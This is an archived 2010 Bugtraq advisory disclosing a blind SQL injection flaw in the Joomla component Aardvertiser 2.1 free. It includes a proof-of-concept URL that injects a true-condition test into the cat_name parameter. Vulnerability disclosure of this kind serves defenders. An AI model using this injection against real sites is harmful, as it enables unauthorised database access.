Bugtraq mailing list archives

Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability

From: sattler () solidmedia de
Date: Tue, 7 Sep 2010 10:48:40 -0600

# Exploit Title: Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // www.solidmedia.de
# Software Link: 
http://sourceforge.net/projects/aardvertiser/files/com_aardvertiser%20V2.1.1%20Free/com_aardvertiserfree.zip/download
# Version: 2.1 free


[ Vulnerability//PoC ]

http://www.site.com/joomlapath/index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view

Current thread:

Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability sattler (Sep 08)